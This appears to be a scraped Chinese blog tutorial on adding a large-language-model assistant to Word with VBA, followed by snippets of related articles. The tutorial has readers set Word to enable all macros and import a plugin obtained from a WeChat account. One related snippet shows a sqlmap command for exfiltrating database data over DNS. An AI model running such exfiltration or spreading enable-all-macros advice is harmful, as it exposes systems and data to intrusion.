Word中接入大模型教程

前言

為什么要在word中接入大模型呢?

個人覺得最大的意義就是不用來回切換與復制粘貼了吧。

今天分享一下昨天實踐的在word中接入大模型的教程。

在word中接入大模型最簡單的方式就是使用vba。

vba代碼要做的事,拆分一下就是:

  1. 獲取用戶選中的文本,未選擇彈窗提示。
  2. 向大模型API接口發送一個Post請求。
  3. 解析返回的json數據,獲取content的內容。
  4. 為了用戶體驗,打造假流式效果。

效果

實踐

第一步:獲取用戶選中的文本,未選擇彈窗提示。

vba代碼:

Sub GetSelectedText()Dim selectedText As StringIf Selection.Type = wdSelectionIP Then ' 如果是插入點(光標閃爍),則未選擇文本MsgBox "未選中任何文本!請先選擇文本。", vbExclamationElseselectedText = Selection.TextIf Trim(selectedText) = "" Then  ' 再次檢查 Trim 后的文本是否為空,以防用戶只選擇了空格MsgBox "未選中任何文本!請先選擇文本。", vbExclamationElseMsgBox "選中的文本是: " & selectedTextEnd IfEnd If
End Sub

效果:

image-20250217102026941

image-20250217102101716

第二步:向大模型API接口發送一個Post請求。

在第一步中獲取的文本大概率會包含換行符,如果沒有去掉,在發送請求的時候會報錯,因此第一步的完整代碼還需要包括去除換行符的部分,完整代碼如下所示:

 Dim selectedText As StringIf Selection.Type = wdSelectionIP Then ' 如果是插入點(光標閃爍),則未選擇文本MsgBox "未選中任何文本!請先選擇文本。", vbExclamationElseselectedText = Selection.TextIf Trim(selectedText) = "" Then  ' 再次檢查 Trim 后的文本是否為空,以防用戶只選擇了空格MsgBox "未選中任何文本!請先選擇文本。", vbExclamationElse'  **** 在這里添加刪除換行符的代碼 ****selectedText = Replace(selectedText, Chr(13), "") ' 刪除回車符 (CR)selectedText = Replace(selectedText, Chr(10), "") ' 刪除換行符 (LF)End IfEnd If

在vba中發送Post,可以使用MSXML2.XMLHTTP,代碼如下:

API = "https://api.siliconflow.cn/v1/chat/completions"inputText = selectedTextSendTxt = "{""model"": ""meta-llama/Llama-3.3-70B-Instruct"", ""messages"": [{""role"":""system"", ""content"":""你是一個word助手,直接輸出文本,不要用md格式。""}, {""role"":""user"", ""content"":""" & inputText & """}], ""stream"": false}"'MsgBox SendTxt, vbExclamation'Selection.TypeText Text:=SendTxtapi_key = "sk-xxx"Set Http = CreateObject("MSXML2.XMLHTTP")With Http.Open "POST", API, False.setRequestHeader "Content-Type", "application/json".setRequestHeader "Authorization", "Bearer " & api_key.send SendTxtstatus_code = .Statusresponse = .responseTextEnd With

這里使用的是硅基流動的平臺,使用其它平臺需要修改的地方為API接口地址、模型名稱與對應的api_key。

第三步:解析返回的json數據,獲取content的內容。

為方便起見,我使用的是正則表達式進行content內容的提取。

代碼如下所示:

Dim regExp As Object
Set regExp = CreateObject("VBScript.RegExp")regExp.Pattern = """content"":""([^""]*)"""regExp.Global = TrueDim matches As Object
Set matches = regExp.Execute(response)Dim content As String
content = matches(0).SubMatches(0)

第四步:為了用戶體驗,打造假流式效果。

為了不覆蓋選中的內容,需要移動光標。然后為了用戶體驗,打造假流式效果。

代碼如下所示:

Selection.MoveDown Unit:=wdLine, Count:=1Selection.TypeParagraph ' 插入一個新段落,確保在下一行開始For i = 1 To Len(content)Dim char As Stringchar = Mid(content, i, 1)Selection.TypeText Text:=charDim startTime As SinglestartTime = TimerDo While Timer < startTime + 0.02DoEventsLoopNext i

直接使用我分享的插件

感興趣的朋友,可以根據我的分享,直接去寫一下。但是很多朋友對vba可能不感興趣,只是想在word中直接使用。

接下來我將手把手分享,如何使用我分享的插件。

首先關注公眾號“小銘同學的AI工具學習記錄”,發送“Word插件”,即可獲取word插件。

第一步:獲取大模型的API Key。

這里根據大家自己使用的大模型平臺而定。

如果沒有使用過,我比較推薦硅基流動這個平臺,新用戶注冊有14元永久額度,很多其它平臺額度都是有期限的。

邀請鏈接:https://cloud.siliconflow.cn/i/Ia3zOSCU。

注冊完成之后,點擊API密鑰,新建一個API密鑰。

image-20250217110244129

模型名稱在模型廣場可以復制,比較推薦的是:deepseek-ai/DeepSeek-R1、deepseek-ai/DeepSeek-V3、meta-llama/Llama-3.3-70B-Instruct、Qwen/Qwen2.5-72B-Instruct-128K與Qwen/Qwen2.5-72B-Instruct。

第二步:在word中導入插件。

關注公眾號“小銘同學的AI工具學習記錄”,發送“Word插件”,即可獲取word插件。

下載下來,如下所示:

image-20250217111511497

文件——》選項——》信任中心——》信任中心設置——》啟用所有宏——》確定。

image-20250217122533249

文件——》選項——》自定義功能區——》勾選開發工具。

image-20250217111659589

開發工具——》Visual Basic。

image-20250217111905533

文件——》導入文件——》選擇剛剛下載的Word插件。

image-20250217112147489

然后如果使用的是硅基流動,在這兩個文件的api_key位置填入自己的api_key即可,如果選擇其它平臺,如果兼容openai格式,改一下api地址、模型名稱然后填入自己的api_key即可。

image-20250217112351894

點擊保存,會出現下面這個提示。

image-20250217112451435

選擇否,然后啟用宏。

image-20250217112537868

可以在不使用這個功能的時候,另存為docx就好了。

回到開發工具,新建一個分組。

image-20250217112744079

選擇宏,添加到AI助手中。

image-20250217112915087

現在word就出現了剛剛添加的插件:

image-20250217113030084

第三步:使用插件

選中文本,再點擊選擇的功能即可。

AI助手是直接提問,AI論文擴寫助手是進行論文擴寫。

直接提問

image-20250217113436348

AI論文擴寫

image-20250217114503471

最后

如果你在實踐過程中,遇到了問題,也可以聯系我哦。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/70140.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/70140.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/70140.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

open3d繪制平面

在Open3D中繪制平面通常涉及到創建一個平面模型并將其可視化。Open3D是一個開源庫,主要用于3D數據的處理和可視化,但它主要用于3D數據的處理,并不直接支持繪制2D平面。如果你想在Open3D中“繪制”一個平面,你可以通過以下幾種方法來實現類似的效果: 方法1:使用o3d.geome…

DeepSeek R1 與 OpenAI O1:機器學習模型的巔峰對決

我的個人主頁 我的專欄&#xff1a;人工智能領域、java-數據結構、Javase、C語言&#xff0c;希望能幫助到大家&#xff01;&#xff01;&#xff01;點贊&#x1f44d;收藏? 一、引言 在機器學習的廣袤天地中&#xff0c;大型語言模型&#xff08;LLM&#xff09;無疑是最…

WebGPU頂點插槽進階優化指南:釋放GPU渲染性能

本文基于WebGPU官方規范與實踐經驗&#xff0c;深入探討頂點緩沖區的性能優化策略&#xff0c;涵蓋數據布局、資源管理、渲染流程等多個維度&#xff0c;并附詳細代碼注釋與性能對比分析。 一、數據布局優化&#xff1a;降低內存與帶寬壓力 1. 內存對齊策略 GPU對內存訪問有嚴…

數據結構實現順序表的尾插,尾刪,按值查找/修改/刪除,按下標查找/增加/刪除

頭文件&#xff1a;head.h #ifndef __HEAD_H__ #define __HEAD_H__#include <stdio.h> #include <string.h> #include <stdlib.h> #define MAXSIZE 20enum num {success,false-1};typedef int datatype;typedef struct {int len;datatype data[MAXSIZE]; }S…

基于Spring Boot+Vue的寵物服務管理系統(源碼+文檔)

項目簡介 寵物服務管理系統實現了以下功能&#xff1a; 基于Spring BootVue的寵物服務管理系統的主要使用者分為用戶管理模塊&#xff0c;由于系統運行在互聯網絡中&#xff0c;一些游客或者病毒惡意進行注冊&#xff0c;產生大量的垃圾用戶信息&#xff0c;管理員可以對這些…

2. grafana插件安裝并接入zabbix

一、在線安裝 如果不指定安裝位置&#xff0c;則默認安裝位置為/var/lib/grafana/plugins 插件安裝完成之后需要重啟grafana 命令在上一篇講到過 //查看相關幫助 [rootlocalhost ~]# grafana-cli plugins --help //從列舉中的插件過濾zabbix插件 [rootlocalhost ~]# grafana…

【Linux】Ubuntu Linux 系統——Python集成開發環境

??大家好&#xff0c;我是練小杰&#xff0c;今天周四了&#xff0c;明天就周五了&#xff0c;再堅持堅持又能休息了&#xff01;&#xff01;&#x1f606; 本文是有關Linux 操作系統中Python集成開發環境基礎知識&#xff0c;后續將添加更多相關知識噢&#xff0c;謝謝各位…

DeepSeek+即夢 做AI視頻

DeepSeek做AI視頻 制作流程第一步&#xff1a;DeepSeek 生成視頻腳本和分鏡 第二步&#xff1a;生成分鏡圖片繪畫提示詞第三步&#xff1a;生成分鏡圖片第四步&#xff1a;使用可靈 AI 工具&#xff0c;將生成的圖片轉成視頻。第五步&#xff1a;剪映成短視頻 DeepSeek 真的強&…

react傳遞函數與回調函數原理

為什么 React 允許直接傳遞函數&#xff1f; 回調函數核心邏輯 例子&#xff1a;父組件控制 Modal 的顯示與隱藏 // 父組件 (ParentComponent.tsx) import React, { useState } from react; import { Modal, Button } from antd; import ModalContent from ./ModalContent;co…

【Spring AI】基于SpringAI+Vue3+ElementPlus的QA系統實現(前端)

整理不易&#xff0c;請不要吝嗇你的贊和收藏。 1. 前言 這篇文章是 Spring AI Q&A 系統的前端實現。這篇文章將介紹如何快速搭建一個基于 vue3 ElementPlus 的前端項目&#xff0c;vue3 項目的目錄結構介紹&#xff0c;如何在前端實現流式響應&#xff0c;如何高亮顯示…

企業級API集成方案:基于阿里云函數計算調用DeepSeek全解析

解決方案鏈接&#xff1a;https://www.aliyun.com/solution/tech-solution/deepseek-r1-for-platforms?utm_contentg_1000401616 何為DeepSeek R1 DeepSeek R1模型有諸多技術優勢。高效架構設計使其能更高效提取特征&#xff0c;減少冗余計算&#xff0c;提升數據處理速度、…

K8s學習總結

文章目錄 介紹Kubernetes 核心組件k8s安裝環境安裝組件 常用命令測試1. 創建一個測試應用程序2. 檢查 Pod 是否運行 3. 暴露應用讓外部訪問4. 查看服務的暴露端口5. 訪問 nginx 服務6. 驗證節點調度 如有錯誤&#xff0c;敬請指針&#xff0c;謝謝! 介紹 Kubernetes&#xff0…

前端為什么要使用new Promise包裹一個函數

在前端開發中&#xff0c;使用 new Promise 包裹一個函數主要是為了將原本不支持 Promise 規范的操作轉化為支持 Promise 規范的操作&#xff0c;從而可以更好地處理異步操作&#xff0c;提升代碼的可讀性和可維護性。下面詳細介紹這么做的常見原因和應用場景&#xff1a; 1. …

說下JVM中一次完整的GC流程?

大家好&#xff0c;我是鋒哥。今天分享關于【說下JVM中一次完整的GC流程?】面試題。希望對大家有幫助&#xff1b; 說下JVM中一次完整的GC流程? 1000道 互聯網大廠Java工程師 精選面試題-Java資源分享網 JVM中的一次完整的垃圾回收&#xff08;GC&#xff09;流程可以概括為…

dnslog+sqlmap外帶數據

目錄 爆庫 爆表 爆列 爆數據 sqlmapDNSlog 外帶參數 –dns-domain參數注入 –dns-domain參數為dnslog平臺的域名&#xff08;我們也可以使用本地&#xff09; 爆庫 python sqlmap.py -u "http://127.0.0.1/sqli/less-8/index.php/?id1" -techniqueB -dns-dom…

提升顧客轉化率:融合2+1鏈動模式AI智能名片與S2B2C商城小程序的創新策略

摘要&#xff1a;在數字化轉型的背景下&#xff0c;零售商面臨著提升顧客轉化率的巨大挑戰。本文旨在探討如何通過整合顧客行為數據、21鏈動模式、AI智能名片及S2B2C商城小程序等新興技術與商業模式&#xff0c;來精準定位顧客需求&#xff0c;優化營銷策略&#xff0c;從而提高…

以若依移動端版為基礎,實現uniapp的flowable流程管理

1.前言 此代碼是若依移動端版為基礎&#xff0c;實現flowable流程管理&#xff0c;支持H5、APP和微信小程序三端。其中&#xff0c;APP是在安卓在雷電模擬器環境下完成的&#xff0c;其他環境未測試&#xff0c;此文章中所提及的APP均指上述環境。移動端是需要配合若依前后端分…

《全球網絡安全政策法律發展研究報告 (2024) 》

全球視野&#xff0c;深度剖析 報告以全球視野為出發點&#xff0c;深度剖析了2024年各國在網絡安全政策法律方面的最新進展。從局部區域沖突延宕到關鍵信息基礎設施(關基)安全保護規則的持續細化&#xff0c;從數據安全政策立法的蓬勃發展到個人信息保護立法的不斷完善&#…

細說STM32F407單片機RTC的備份寄存器原理及使用方法

目錄 一、備份寄存器的功能 二、示例功能 三、項目設置 1、晶振、DEBUG、CodeGenerator、USART6 2、RTC 3、NVIC 4、GPIO 及KEYLED 四、軟件設計 1、main.h 2、main.c 3、rtc.c 4、keyled.c、keyled.h 五、運行調試 本實例旨在介紹備份寄存器的作用。本實例繼續使…

建筑行業安全技能競賽流程方案

一、比賽時間&#xff1a; 6月23日8&#xff1a;30分準時到場&#xff1b;9&#xff1a;00&#xff0d;10&#xff1a;00理論考試&#xff1b;10&#xff1a;10-12:00現場隱患答疑&#xff1b;12:00-13&#xff1a;30午餐&#xff1b;下午13&#xff1a;30-15&#xff1a;30現場…